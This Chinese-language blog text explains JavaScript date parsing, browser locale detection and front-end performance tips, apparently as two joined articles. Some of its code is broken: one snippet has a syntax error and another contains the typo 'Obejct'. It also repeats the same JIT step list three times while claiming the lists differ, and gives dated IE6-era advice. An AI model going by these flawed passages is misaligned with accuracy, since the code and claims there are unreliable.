RFC2822还有别的格式，不过上面这个是比较常用的（另外这标准太难啃了，实在没耐心啃完，所以也就没太深入)。RFC2822标准本身还有其他的非数字日期表达方式，不过不在这个话题讨论范围内了,略过



	
ISO 8601标准日期字符串

 YYYY-MM-DDThh:mm:ss ± timezone(时区用HH:MM表示)

 1997-07-16T08:20:30Z
 // “Z”表示UTC标准时区，即"00:00",所以这里表示零时区的`1997年7月16日08时20分30秒`
 //转换成位于东八区的北京时间则为`1997年7月17日16时20分30秒`

 1997-07-16T19:20:30+01:00
 // 表示东一区的1997年7月16日19时20秒30分，转换成UTC标准时间的话是1997-07-16T18:20:30Z
 






	日期和时间中间的T不可以被省略，一省略就出错。


	虽然在chrome浏览器上时区也可以用+0100这种RFC2822的形式来表示，然而IE上不支持这种混搭写法，所以用ISO8601标准形式表示的时候时区要用+HH:MM






单单从格式上来说，两者的区别主要在于分隔符的不同。不过需要注意的是，ISO 8601标准的兼容性比RFC2822差得多（比如IE8和iOS均不支持前者。我知道IE8很多人会无视，不过iOS也有这个坑的话，各位或多或少会谨慎点了吧？)，所以一般情况下建议用RFC 2822格式的。
不过需要注意的是，在未指定时区的前提下，对于只精确到day的日期字符串，RFC 2822返回结果是以当前时区的零点为准，而ISO8601返回结果则会以UTC时间的零点为标准进行解析。
例如：

//RFC2822：
new Date('1992/02/13') //Thu Feb 13 1992 00:00:00 GMT+0800 (中国标准时间)
//ISO8601:
new Date('1992-02-13') //Thu Feb 13 1992 08:00:00 GMT+0800 (中国标准时间)

然而上面这个只是ES5的标准而已，在ES6里这两种形式都会变成当前时区的零点为基准1
不管你们崩溃没，反正我是已经想死了
关于跨浏览器的dataString解析情况，还可以参考这个页面:
JavaScript and Dates, What a Mess!

所以对于时间字符串对象，个人意见是要么用RFC2822形式，要么自己写个解析函数然后随便你传啥格式进来。



时间格式化函数的效率

这里的时间格式化值得是将时间字符串转换成毫秒数的过程。js原生的时间格式化函数有Date.parse、Date.prototype.valueOf、Date.prototype.getTime、Number(Date)、+Date（还有个Date.UTC方法，然而对参数要求严格，不能直接解析日期字符串，所以略过)
这5个函数从功能上来说一模一样，但是具体的效率如何呢？我写了个检测页面，诸位也可以自己测试下。
http://codepen.io/chitanda/pen/NqeZag/

核心测试函数：

    function test(dateString,times,func){
    var startTime=window.performance.now();
    // console.log('start='+startTime.getTime());
    for (var i = 0; i < times; i++) {
        func(dateString);//这里填写具体的解析函数
    };
    var endTime=window.performance.now();
    // console.log('endTime='+endTime.getTime());
    var gapTime=endTime-startTime;
      console.log('一共耗时:'+gapTime+'ms');
    // console.log('时间字符串'+dateString);
    return gapTime;
}

之所以这里用window.performance.now()而不用new Date(),是因为前者精确度远比后者高。后者只能精确到ms。会对结果造成较大影响



测试结果：

单次执行50W次时间格式化函数，并重复测试100次，最后的结果如下:
（表格中的数字为单次执行50W次函数的平均结果。单位为毫秒)



	函数
	chrome
	IE
	Firefox





	Date.parse()
	151.2087
	55.5811
	315.0446



	Date.prototype.getTime()
	19.5452
	21.3423
	14.0169



	Date.prototype.valueOf()
	20.1696
	21.7192
	13.8096



	+Date()
	20.0044
	31.3511
	22.7861



	Number(Date)
	23.0900
	24.8838
	23.3775





从这个表格可以很容易得出以下结论：


	从计算效率上来说，Date.prototype.getTime()≈Date.prototype.valueOf()>+Date≈Number(Date)>>Date.parse()


	从代码书写效率上来说，对于少量的时间格式化计算，用+Date()或者Number(Date)即可。而若页面内有大量该处理，则建议用Date原生的函数Date.prototype.getTime()或者Date.prototype.valueOf().只有Date.parse,找不到任何使用的理由。


	这个结果和计算机的计算性能以及浏览器有关，所以具体数字可能会有较大偏差，很正常。然而几个函数结果的时间差大小顺序并不会变。


	codepen的在线demo限制比较大，对于这个测验个人建议最好将源代码复制到本地文件然后进行测试








UTC，GMT时间的区别

这个不是啥重要东西，单纯当课外知识吧。

格林威治标准时间GMT

GMT即「格林威治标准时间」(Greenwich Mean Time，简称G.M.T.)，指位于英国伦敦郊区的皇家格林威治天文台的标准时间，因为本初子午线被定义为通过那里的经线。然而由于地球的不规则自转，导致GMT时间有误差，因此目前已不被当作标准时间使用。

世界协调时间UTC

UTC是最主要的世界时间标准，是经过平均太阳时(以格林威治时间GMT为准)、地轴运动修正后的新时标以及以「秒」为单位的国际原子时所综合精算而成的时间。UTC比GMT来得更加精准。其误差值必须保持在0.9秒以内，若大于0.9秒则由位于巴黎的国际地球自转事务中央局发布闰秒，使UTC与地球自转周期一致。不过日常使用中，GMT与UTC的功能与精确度是没有差别的。
协调世界时区会使用“Z”来表示。而在航空上，所有使用的时间划一规定是协调世界时。而且Z在无线电中应读作“Zulu”（可参见北约音标字母），协调世界时也会被称为“Zulu time”。

浏览器获取用户当前时间以及喜好语言

首先需要注意一点，浏览器获取当前用户所在的时区等信息只和系统的日期和时间设置里的时区以及时间有关。区域和语言设置影响的是浏览器默认时间函数(Date.prototype.toLocaleString等)显示的格式，不会对时区等有影响。以window为例，控制面板\时钟、语言和区域中的两个子设置项目的区别如下：

日期和时间:设置当前用户所处的时间和时区，浏览器获取到的结果以此为准，哪怕用户的设置时间和时区是完全错误的。比如若东八区的用户将自己的时区设置为东9区，浏览器就会将视为东9区;时间数据上同理。这里的设置会影响Date.prototype.getTimezoneOffset、new Date()的值



区域和语言:主要是设置系统默认的时间显示方式。其子设置的格式会影响Date.prototype.toLocaleString方法返回的字符串结果

浏览器判断用户本地字符串格式

Date有个Date.prototype.toLocaleString()方法可以将时间字符串返回用户本地字符串格式，这个方法还有两个子方法Date.prototype.toLocaleDateString和Date.prototype.toLocaleTimeString，这两个方法返回值分别表示日期和时间，加一起就是Date.prototype.toLocaleString的结果。
这个方法的默认参数会对时间字符串做一次转换，将其转换成用户当前所在时区的时间，并按照对应的系统设置时间格式返回字符串结果。然而不同浏览器对用户本地所使用的语言格式的判断依据是不同的。
IE:获取系统当前的区域和语言-格式中设置的格式，依照其对应的格式来显示当前时间结果;IE浏览器实时查询该系统设置（即你在浏览器窗口打开后去更改系统设置也会引起返回格式变化）
FF：获取方式和结果与IE浏览器相同，区别在于FF只会在浏览器进程第一次启动的时候获取一次系统设置，中间不管怎么系统设置怎么变化，FF都无法获取到当前系统设置。除非重启FF浏览器。
Chrome:获取方式和以上两个都不同。chrome无视系统的区域和语言-格式格式，只依照自己浏览器的界面设置的菜单语言来处理。(比如英文界面则按系统'en-US'格式返回字符串，中文界面则按系统'zh-CN'格式返回结果)
综上可得：

chrome下浏览器语言设置优先系统语言设置。而IE和FF则是系统语言设置优先浏览器语言设置,不管浏览器界面语言是什么，他们只依照系统设置来返回格式。（没有MAC，所以不知道safari是啥情况，等以后看情况补充吧)
另外，不同浏览器对toLocaleString返回的结果也是不同的，IE浏览器严格遵守系统设置，而chrome和FF会有自己内置的格式来替换。



浏览器界面语言设置和语言设置的区别

这小节貌似有点跑题，然而不说明下的很容易和上面提到的浏览器设置的语言混淆，所以也拿出来说一下。
需要注意浏览器的语言设置和界面语言设置不是一回事。
浏览器的语言设置设置的是浏览器发送给服务器的Request Header里的Accept-Language的值，这个值可以告诉服务器用户的喜好语言，对于某些跨国网站，服务器可以以此为依旧来返回对应语言的页面（不过实际应用上这个限制比较大，大部分网站还是根据IP来判断用户来源的，或者直接让用户自己选择）
对于各大浏览器而言，这个设置的更改也是比较显性，容易找到的。
IE： Internet选项-语言
FF： 选项-内容-语言
chrome:设置-显示高级设置-语言-语言和输入设置...
上面这里的设置不会影响到浏览器的界面语言设置，以国内大部分用户而言，即不管你怎么设置这里的语言选项，浏览器菜单等默认都会是以中文显示的.
而浏览器的界面语言设置一般来说则藏的深得多，没那么容易找到。
IE：
卸载前面安装过的浏览器语言包，去微软官网下载对应的IE浏览器语言包安装。（和安装的语言包有关。系统界面语言和该语言包相同的情况下，变为该语言。否则以安装的语言包为准。）
FF：地址栏输入about:config，然后找到general.useragent.locale字段，修改对应字段即可。
chrome：设置-显示高级设置-语言-语言和输入设置...

利用js获取用户浏览器语言喜好

对于获取这两种设置，js原生方法支持度都比较一般:
IE下的navigator方法有四种和language有关的方法，区别如下:
假设系统语言为 ja-JP，系统unicode语言为zh-CN日期格式为nl-NL,浏览器语言设置（accept-language)为de,浏览器界面语言为en-US（其他条件不变，浏览器界面语言改为zh-CN的时候结果也是一样)，

window.navigator.language
//"nl-NL"
window.navigator.systemLanguage
//"zh-CN"(设置中的非unicode程序所使用语言选项)
window.navigator.userLanguage
//"nl-NL"
window.navigator.browserLanguage
//"ja-JP"（系统菜单界面语言）
window.navigator.languages
//undefined


chrome下，当浏览器界面语言为zh-CN,accept-language首位为en-US的时候：

window.navigator.language
//'zh-CN'
window.navigator.languages
//["en-US", "en", "zh-CN", "zh", "ja", "zh-TW", "de-LI", "de", "pl"]
//当界面语言改为"en-US"时
window.navigator.language
//'en-US'（浏览器界面语言)

FF下，当浏览器界面语言为zh-CN,accept-language首位为en-US的时候：

window.navigator.language
//'en-US'
window.navigator.languages
//["en-US", "zh-CN", "de", "zh", "en"]
//当界面语言改为"en-US",`accept-language`首位为`zh-CN`的时候
window.navigator.language
//'zh-CN'（`accept-language`首选值)
window.navigator.languages
//["zh-CN", "de", "zh", "en-US", "en"]



	从上面的测试结果可以很明显的发现IE浏览器的这几个函数都是获取系统信息的，无法获取到前面提到的两个浏览器层面上的设置。（这几个函数具体含义还有疑问的可以参考MSDN官方文档）


	window.navigator.language这个函数虽然三个浏览器都可以兼容，然而代表的意义完全不同。IE下该函数返回系统设置的时间显示格式所遵守的标准的地区代码；chrome下返回浏览器界面语言；FF下返回accept-language的首选语言值






由此:


	浏览器设置的语言即accept-language值，IE浏览器无法利用JS获取。chrome和FF浏览器都可以利用window.navigator.languages来获取，而FF还可以直接用   window.navigator.language直接获取accept-language的首选语言值。所以对于accept-language，兼容性最好的获取方法应该是利用后端，发起一个ajax请求，分析header。而不是直接js来处理。


	浏览器界面语言，IE和FF都无法利用js来获取，chrome可以用window.navigator.language来获取


	系统级别的语言设置（系统菜单界面语言，系统设置的时间显示格式），chrome和FF都无法用JS获取到








总结

这篇文章断断续续地写了一个多月，不过由于对Date()函数的掌握不足因此个人感觉其实还是思路有点乱，所以文章看起来可能稍微有点跳跃性。不过用户本地化那块内容确实用了不少心思去写，希望对看到这篇文章的人有点帮助。
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AJAX优化




	
缓存AJAX：

	异步并不等于即时。






	
请求使用GET：

	
当使用XMLHttpRequest时，而URL长度不到2K，可以使用GET请求数据，GET相比POST更快速。


	
POST类型请求要发送两个TCP数据包。


	先发送文件头。


	再发送数据。






	
GET类型请求只需要发送一个TCP数据包。

	取决于你的cookie数量。



















COOKIE专题




	减少COOKIE的大小。


	
使用无COOKIE的域。

	比如图片CSS等静态文件放在静态资源服务器上并配置单独域名，客户端请求静态文件的时候，减少COOKIE反复传输时对主域名的影响。











DOM优化




	
优化节点修改。

	
使用cloneNode在外部更新节点然后再通过replace与原始节点互换。

var orig = document.getElementById('container');
var clone = orig.cloneNode(true);
var list = ['foo', 'bar', 'baz'];
var content;
for (var i = 0; i < list.length; i++) {
   content = document.createTextNode(list[i]);
   clone.appendChild(content);
}
orig.parentNode.replaceChild(clone, orig);







	
优化节点添加

多个节点插入操作，即使在外面设置节点的元素和风格再插入，由于多个节点还是会引发多次reflow。



	
优化的方法是创建DocumentFragment，在其中插入节点后再添加到页面。

	
如JQuery中所有的添加节点的操作如append，都是最终调用DocumentFragment来实现的，

    createSafeFragment(document) {

var list = nodeNames.split( "|" ),

safeFrag = document.createDocumentFragment();


if (safeFrag.createElement) {

while (list.length) {
    safeFrag.createElement(
        list.pop();
    );
};

};
return safeFrag;

    };











	
优化CSS样式转换。

如果需要动态更改CSS样式，尽量采用触发reflow次数较少的方式。




	
如以下代码逐条更改元素的几何属性，理论上会触发多次reflow。

    element.style.fontWeight = 'bold' ;
    element.style.marginLeft= '30px' ;
    element.style.marginRight = '30px' ;



	
可以通过直接设置元素的className直接设置，只会触发一次reflow。

    element.className = 'selectedAnchor' ;







	
减少DOM元素数量


	
在console中执行命令查看DOM元素数量。

    `document.getElementsByTagName( '*' ).length`



	正常页面的DOM元素数量一般不应该超过1000。


	DOM元素过多会使DOM元素查询效率，样式表匹配效率降低，是页面性能最主要的瓶颈之一。






	
DOM操作优化。


	
DOM操作性能问题主要有以下原因。


	DOM元素过多导致元素定位缓慢。


	
大量的DOM接口调用。

	JAVASCRIPT和DOM之间的交互需要通过函数API接口来完成，造成延时，尤其是在循环语句中。






	DOM操作触发频繁的reflow(layout)和repaint。


	
layout发生在repaint之前，所以layout相对来说会造成更多性能损耗。


	reflow(layout)就是计算页面元素的几何信息。


	repaint就是绘制页面元素。






	对DOM进行操作会导致浏览器执行回流reflow。






	
解决方案。


	纯JAVASCRIPT执行时间是很短的。


	最小化DOM访问次数，尽可能在js端执行。


	如果需要多次访问某个DOM节点，请使用局部变量存储对它的引用。


	谨慎处理HTML集合（HTML集合实时连系底层文档），把集合的长度缓存到一个变量中，并在迭代中使用它，如果需要经常操作集合，建议把它拷贝到一个数组中。


	如果可能的话，使用速度更快的API，比如querySelectorAll和firstElementChild。


	要留意重绘和重排。


	批量修改样式时，离线操作DOM树。


	使用缓存，并减少访问布局的次数。


	动画中使用绝对定位，使用拖放代理。


	使用事件委托来减少事件处理器的数量。










	
优化DOM交互

在JAVASCRIPT中，DOM操作和交互要消耗大量时间，因为它们往往需要重新渲染整个页面或者某一个部分。




	
最小化现场更新。

	
当需要访问的DOM部分已经已经被渲染为页面中的一部分，那么DOM操作和交互的过程就是再进行一次现场更新。


	现场更新是需要针对现场（相关显示页面的部分结构）立即进行更新，每一个更改（不管是插入单个字符还是移除整个片段），都有一个性能损耗。


	现场更新进行的越多，代码完成执行所花的时间也越长。










	
多使用innerHTML。

	
有两种在页面上创建DOM节点的方法：


	使用诸如createElement()和appendChild()之类的DOM方法。


	
使用innerHTML。

	当使用innerHTML设置为某个值时，后台会创建一个HTML解释器，然后使用内部的DOM调用来创建DOM结构，而非基于JAVASCRIPT的DOM调用。由于内部方法是编译好的而非解释执行，故执行的更快。








对于小的DOM更改，两者效率差不多，但对于大的DOM更改，innerHTML要比标准的DOM方法创建同样的DOM结构快得多。













	
回流reflow。


	
发生场景。


	改变窗体大小。


	更改字体。


	添加移除stylesheet块。


	内容改变哪怕是输入框输入文字。


	CSS虚类被触发如 :hover。


	更改元素的className。


	当对DOM节点执行新增或者删除操作或内容更改时。


	动态设置一个style样式时（比如element.style.width="10px"）。


	当获取一个必须经过计算的尺寸值时，比如访问offsetWidth、clientHeight或者其他需要经过计算的CSS值。






	
解决问题的关键，就是限制通过DOM操作所引发回流的次数。


	在对当前DOM进行操作之前，尽可能多的做一些准备工作，保证N次创建，1次写入。


	
在对DOM操作之前，把要操作的元素，先从当前DOM结构中删除：


	通过removeChild()或者replaceChild()实现真正意义上的删除。


	设置该元素的display样式为“none”。






	
每次修改元素的style属性都会触发回流操作。

element.style.backgroundColor = "blue";


	使用更改className的方式替换style.xxx=xxx的方式。


	使用style.cssText = '';一次写入样式。


	避免设置过多的行内样式。


	添加的结构外元素尽量设置它们的位置为fixed或absolute。


	避免使用表格来布局。


	避免在CSS中使用JavaScript expressions(IE only)。






	将获取的DOM数据缓存起来。这种方法，对获取那些会触发回流操作的属性（比如offsetWidth等）尤为重要。


	当对HTMLCollection对象进行操作时，应该将访问的次数尽可能的降至最低，最简单的，你可以将length属性缓存在一个本地变量中，这样就能大幅度的提高循环的效率。














eval优化



	
避免eval：

	
eval会在时间方面带来一些效率，但也有很多缺点。


	eval会导致代码看起来更脏。


	eval会需要消耗大量时间。


	eval会逃过大多数压缩工具的压缩。















HTML优化




	
插入HTML。

	JavaScript中使用document.write生成页面内容会效率较低，可以找一个容器元素，比如指定一个div，并使用innerHTML来将HTML代码插入到页面中。






	
避免空的src和href。

	当link标签的href属性为空、script标签的src属性为空的时候，浏览器渲染的时候会把当前页面的URL作为它们的属性值，从而把页面的内容加载进来作为它们的值。






	
为文件头指定Expires。

	使内容具有缓存性，避免了接下来的页面访问中不必要的HTTP请求。






	重构HTML，把重要内容的优先级提高。


	Post-load（次要加载）不是必须的资源。


	利用预加载优化资源。


	合理架构，使DOM结构尽量简单。


	利用LocalStorage合理缓存资源。


	尽量避免CSS表达式和滤镜。


	尝试使用defer方式加载Js脚本。


	新特性：will-change，把即将发生的改变预先告诉浏览器。


	新特性Beacon，不堵塞队列的异步数据发送。


	不同之处：网络缓慢，缓存更小，不令人满意的浏览器处理机制。


	尽量多地缓存文件。


	使用HTML5 Web Workers来允许多线程工作。


	为不同的Viewports设置不同大小的Content。


	正确设置可Tap的目标的大小。


	使用响应式图片。


	支持新接口协议（如HTTP2）。


	未来的缓存离线机制：Service Workers。


	未来的资源优化Resource Hints(preconnect, preload, 和prerender)。


	使用Server-sent Events。


	设置一个Meta Viewport。







JIT与GC优化




	
untyped（无类型）。

	
JAVASCRIPT是个无类型的语言，这导致了如x=y+ｚ这种表达式可以有很多含义。


	y，z是数字，则+表示加法。


	y，z是字符串，则+表示字符串连接。




而JS引擎内部则使用“细粒度”的类型，比如：


	32-bit* integer。


	64-bit* floating-point。




这就要求js类型-js引擎类型，需要做“boxed/unboxed（装箱/解箱）”，在处理一次x=y+z这种计算，需要经过的步骤如下。


	从内存，读取x=y+z的操作符。


	从内存，读取y，z。


	检查y，z类型，确定操作的行为。


	unbox y，z。


	执行操作符的行为。


	box x。


	把x写入内存。




只有第5步骤是真正有效的操作，其他步骤都是为第5步骤做准备/收尾，JAVASCRIPT的untyped特性很好用，但也为此付出了很大的性能代价。







	
JIT。


	
先看看JIT对untyped的优化，在JIT下，执行x=y+z流程。


	从内存，读取x=y+z的操作符。


	从内存，读取 y，z。


	检查y，z类型，确定操作的行为。


	unbox y，z。


	执行 操作符 的行为。


	box x。


	把x写入内存。




其中1，2步骤由CPU负责，7步骤JIT把结果保存在寄存器里。但可惜不是所有情况都能使用JIT，当number+number，string+string 等等可以使用JIT，但特殊情况，如：number+undefined就不行了，只能走旧解析器。



	新引擎还对“对象属性”访问做了优化，解决方案叫inline caching，简称：IC。简单的说，就是做cache。但如果当list很大时，这种方案反而影响效率。






	
Type-specializing JIT

Type-specializing JIT引擎用来处理typed类型（声明类型）变量，但JAVASCRIPT都是untype类型的。




	
Type-specializing JIT的解决方案是：


	先通过扫描，监测类型。


	通过编译优化（优化对象不仅仅只是“类型”，还包括对JS代码的优化，但核心是类型优化），生成类型变量。


	再做后续计算。






	
Type-specializing JIT的执行x=y+z流程：


	从内存，读取x=y+z的操作符。


	从内存，读取y，z。


	检查y，z类型，确定操作的行为。


	unbox y，z。


	执行操作符的行为。


	box x。


	把x写入内存。








代价是：


	前置的扫描类型


	编译优化。




所以·Type-specializing JIT·的应用是有选择性，选择使用这个引擎的场景包括：


	热点代码。


	通过启发式算法估算出来的有价值的代码。




另外，有2点也需要注意：


	
当变量类型 发生变化时，引擎有2种处理方式：


	少量变更，重编译，再执行。


	大量变更，交给JIT执行。






	数组，object properties，    闭包变量    不在优化范畴之列。










js载入优化





	
加快JavaScript装入速度的工具：

	
Lab.js

	借助LAB.js（装入和阻止JavaScript），你就可以并行装入JavaScript文件，加快总的装入过程。此外，你还可以为需要装入的脚本设置某个顺序，那样就能确保依赖关系的完整性。此外，开发者声称其网站上的速度提升了2倍。










	
使用适当的CDN：

	现在许多网页使用内容分发网络（CDN）。它可以改进你的缓存机制，因为每个人都可以使用它。它还能为你节省一些带宽。你很容易使用ping检测或使用Firebug调试那些服务器，以便搞清可以从哪些方面加快数据的速度。选择CDN时，要照顾到你网站那些访客的位置。记得尽可能使用公共存储库。






	
网页末尾装入JavaScript：

	也可以在头部分放置需要装入的一些JavaScript，但是前提是它以异步方式装入。






	
异步装入跟踪代码：


脚本加载与解析会阻塞HTML渲染，可以通过异步加载方式来避免渲染阻塞，步加载的方式很多，比较通用的方法如下。

var _gaq = _gaq || []; 
    _gaq.push(['_setAccount', 'UA-XXXXXXX-XX']); 
    _gaq.push(['_trackPageview']); 
(function() { 
    var ga = document.createElement('script'); ga.type = 'text/JavaScript'; ga.async = true; 
    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; 
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); 
})();








或者

    function loadjs (script_filename){
         var script = document.createElement( 'script' );
         script.setAttribute( 'type' , 'text/javascript' );
         script.setAttribute( 'src' , script_filename);
         script.setAttribute( 'id' , 'script-id' );

         scriptElement = document.getElementById( 'script-id' );
         if (scriptElement){
             document.getElementsByTagName( 'head' )[0].removeChild(scriptElement);
         }
         document.getElementsByTagName( 'head' )[0].appendChild(script);
    }
    var script = 'scripts/alert.js' ;
    loadjs(script);



	
把你的JavaScript打包成PNG文件

	将JavaScript/css数据打包成PNG文件。之后进行拆包，只要使用画布API的getImageData()。可以在不缩小数据的情况下，多压缩35%左右。而且是无损压缩，对比较庞大的脚本来说，在图片指向画布、读取像素的过程中，你会觉得有“一段”装入时间。






	
设置Cache-Control和Expires头

通过Cache-Control和Expires头可以将脚本文件缓存在客户端或者代理服务器上，可以减少脚本下载的时间。


Expires格式:

Expires = "Expires" ":" HTTP-date
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Note: if a response includes a Cache-Control field with the max-age directive that directive overrides the
Expires field.


Cache-Control格式：

Cache-Control   = "Cache-Control" ":" 1#cache-directive
Cache-Control: public








具体的标准定义可以参考http1.1中的定义，简单来说Expires控制过期时间是多久，Cache-Control控制什么地方可以缓存 。




with优化




	尽可能地少用with语句，因为它会增加with语句以外的数据的访问代价。


	
避免使用with

>
`with`语句将一个新的可变对象推入作用域链的头部，函数的所有局部变量现在处于第二个作用域链对象中，从而使局部变量的访问代价提高。


var person = {

 name: “Nicholas",
 age: 30

}
function displayInfo() {

 var count = 5;
 with (person) {
     alert(name + ' is ' + age);
     alert( 'count is ' + count);
 }

}







变量专题




	
全局变量


	当一个变量被定义在全局作用域中，默认情况下JAVASCRIPT引擎就不会将其回收销毁。如此该变量就会一直存在于老生代堆内存中，直到页面被关闭。


	
全局变量缺点。


	
使变量不易被回收。

	多人协作时容易产生混淆。






	在作用域链中容易被干扰。






	可以通过包装函数来处理全局变量。






	
局部变量。


	尽量选用局部变量而不是全局变量。


	局部变量的访问速度要比全局变量的访问速度更快，因为全局变量其实是window对象的成员，而局部变量是放在函数的栈里的。






	
手工解除变量引用

	
在业务代码中，一个变量已经确定不再需要了，那么就可以手工解除变量引用，以使其被回收。

var data = { / some big data / };
// ...
data = null;







	
变量查找优化。


	
变量声明带上var，如果声明变量忘记了var，那么JAVASCRIPT引擎将会遍历整个作用域查找这个变量，结果不管找到与否，都会造成性能损耗。


	如果在上级作用域找到了这个变量，上级作用域变量的内容将被无声的改写，导致莫名奇妙的错误发生。


	如果在上级作用域没有找到该变量，这个变量将自动被声明为全局变量，然而却都找不到这个全局变量的定义。






	
慎用全局变量。


	全局变量需要搜索更长的作用域链。


	全局变量的生命周期比局部变量长，不利于内存释放。


	过多的全局变量容易造成混淆，增大产生bug的可能性。









	
具有相同作用域变量通过一个var声明。

jQuery.extend = jQuery.fn.extend = function () {
    var options, 
        name, 
        src, 
        copy, 
        copyIsArray, 
        clone,target = arguments[0] || {},
        i = 1,
        length = arguments.length,
        deep = false ;
}



	
缓存重复使用的全局变量。


	全局变量要比局部变量需要搜索的作用域长


	重复调用的方法也可以通过局部缓存来提速


	
该项优化在IE上体现比较明显

var docElem = window.document.documentElement,

selector_hasDuplicate,
matches = docElem.webkitMatchesSelector || docElem.mozMatchesSelector || docElem.oMatchesSelector ||docElem.msMatchesSelector,
selector_sortOrder = function ( a, b ) {
    // Flag for duplicate removal
    if ( a === b ) {
         selector_hasDuplicate = true ;
         return 0;
    }
}











	
善用回调。

	
除了使用闭包进行内部变量访问，我们还可以使用现在十分流行的回调函数来进行业务处理。

    function getData(callback) {
      var data = 'some big data';
      callback(null, data);
    }
    getData(function(err, data) {
      console.log(data);
    });

	
回调函数是一种后续传递风格(Continuation Passing Style, CPS)的技术，这种风格的程序编写将函数的业务重点从返回值转移到回调函数中去。而且其相比闭包的好处也有很多。


	如果传入的参数是基础类型（如字符串、数值），回调函数中传入的形参就会是复制值，业务代码使用完毕以后，更容易被回收。


	通过回调，我们除了可以完成同步的请求外，还可以用在异步编程中，这也就是现在非常流行的一种编写风格。


	回调函数自身通常也是临时的匿名函数，一旦请求函数执行完毕，回调函数自身的引用就会被解除，自身也得到回收。


















常规优化





	
传递方法取代方法字符串

一些方法例如setTimeout()、setInterval()，接受字符串或者方法实例作为参数。直接传递方法对象作为参数来避免对字符串的二次解析。



		
传递方法

   setTimeout(test, 1);







	
传递方法字符串

   setTimeout('test()', 1);





	
使用原始操作代替方法调用

方法调用一般封装了原始操作，在性能要求高的逻辑中，可以使用原始操作代替方法调用来提高性能。


	
原始操作

var min = a<b?a:b;



	
方法实例

var min = Math.min(a, b);







	
定时器

如果针对的是不断运行的代码，不应该使用setTimeout，而应该是用setInterval。setTimeout每次要重新设置一个定时器。



	避免双重解释




当JAVASCRIPT代码想解析JAVASCRIPT代码时就会存在双重解释惩罚，双重解释一般在使用eval函数、new Function构造函数和setTimeout传一个字符串时等情况下会遇到，如。

    eval("alert('hello world');");
    var sayHi = new Function("alert('hello world');");
    setTimeout("alert('hello world');", 100);


上述alert('hello world');语句包含在字符串中，即在JS代码运行的同时必须新启运一个解析器来解析新的代码，而实例化一个新的解析器有很大的性能损耗。

   我们看看下面的例子：

    var sum, num1 = 1, num2 = 2;
    /**效率低**/
    for(var i = 0; i < 10000; i++){
        var func = new Function("sum+=num1;num1+=num2;num2++;");
        func();
        //eval("sum+=num1;num1+=num2;num2++;");
    }
    /**效率高**/
    for(var i = 0; i < 10000; i++){
        sum+=num1;
        num1+=num2;
        num2++;
    }


第一种情况我们是使用了new Function来进行双重解释，而第二种是避免了双重解释。


	
原生方法更快

	只要有可能，使用原生方法而不是自已用JS重写。原生方法是用诸如C/C++之类的编译型语言写出来的，要比JS的快多了。






	
最小化语句数

JS代码中的语句数量也会影响所执行的操作的速度，完成多个操作的单个语句要比完成单个操作的多个语句块快。故要找出可以组合在一起的语句，以减来整体的执行时间。这里列举几种模式


	
多个变量声明

/不提倡/
var i = 1;
var j = "hello";
var arr = [1,2,3];
var now = new Date();
/提倡/
var i = 1,

j = "hello",
arr = [1,2,3],
now = new Date();




	
插入迭代值

/不提倡/
var name = values[i];
i++;
/提倡/
var name = values[i++];



	
使用数组和对象字面量，避免使用构造函数Array(),Object()

/不提倡/
var a = new Array();
a[0] = 1;
a[1] = "hello";
a[2] = 45;
var o = new Obejct();
o.name = "bill";
o.age = 13;
/提倡/
var a = [1, "hello", 45];
var o = {

name : "bill",
age : 13

};







	
避免使用属性访问方法


	JavaScript不需要属性访问方法，因为所有的属性都是外部可见的。


	
添加属性访问方法只是增加了一层重定向 ，对于访问控制没有意义。

使用属性访问方法示例


function Car() {
   this .m_tireSize = 17;
   this .m_maxSpeed = 250;
   this .GetTireSize = Car_get_tireSize;
   this .SetTireSize = Car_put_tireSize;
}

function Car_get_tireSize() {
   return this .m_tireSize;
}

function Car_put_tireSize(value) {
   this .m_tireSize = value;
}
var ooCar = new Car();
var iTireSize = ooCar.GetTireSize();
ooCar.SetTireSize(iTireSize + 1);

直接访问属性示例


function Car() {
   this .m_tireSize = 17;
   this .m_maxSpeed = 250;
}
var perfCar = new Car();
var iTireSize = perfCar.m_tireSize;
perfCar.m_tireSize = iTireSize + 1;







	
减少使用元素位置操作

	
一般浏览器都会使用增量reflow的方式将需要reflow的操作积累到一定程度然后再一起触发，但是如果脚本中要获取以下属性，那么积累的reflow将会马上执行，已得到准确的位置信息。

     offsetLeft
     offsetTop
     offsetHeight
     offsetWidth
     scrollTop/Left/Width/Height
     clientTop/Left/Width/Height
     getComputedStyle()











代码压缩



	
代码压缩工具

精简代码就是将代码中的空格和注释去除，也有更进一步的会对变量名称混淆、精简。根据统计精简后文件大小会平均减少21%，即使Gzip之后文件也会减少5%。




	YUICompressor


	Dean Edwards Packer


	JSMin


	
GZip压缩


	
GZip缩短在浏览器和服务器之间传送数据的时间，缩短时间后得到标题是Accept-Encoding: gzip,deflate的一个文件。不过这种压缩方法同样也有缺点。


	它在服务器端和客户端都要占用处理器资源（以便压缩和解压缩）。


	占用磁盘空间。






	Gzip通常可以减少70%网页内容的大小，包括脚本、样式表、图片等任何一个文本类型的响应，包括XML和JSON。Gzip比deflate更高效，主流服务器都有相应的压缩支持模块。


	
Gzip的工作流程为


	客户端在请求Accept-Encoding中声明可以支持Gzip。


	服务器将请求文档压缩，并在Content-Encoding中声明该回复为Gzip格式。


	客户端收到之后按照Gzip解压缩。










	Closure compiler










代码优化



	
优化原则：

JS与其他语言不同在于它的执行效率很大程度是取决于JS engine的效率。除了引擎实现的优劣外，引擎自己也会为一些特殊的代码模式采取一些优化的策略。例如FF、Opera和Safari的JAVASCRIPT引擎，都对字符串的拼接运算（+）做了特别优化。所以应该根据不同引擎进行不同优化。



而如果做跨浏览器的web编程，则最大的问题是在于IE6（JScript 5.6），因为在不打hotfix的情况下，JScript引擎的垃圾回收的bug，会导致其在真实应用中的performance跟其他浏览器根本不在一个数量级上。因此在这种场合做优化，实际上就是为JScript做优化，所以第一原则就是只需要为IE6（未打补丁的JScript 5.6或更早版本）做优化。

	
JS优化总是出现在大规模循环的地方：

 这倒不是说循环本身有性能问题，而是循环会迅速放大可能存在的性能问题，所以第二原则就是以大规模循环体为最主要优化对象。






以下的优化原则，只在大规模循环中才有意义，在循环体之外做此类优化基本上是没有意义的。

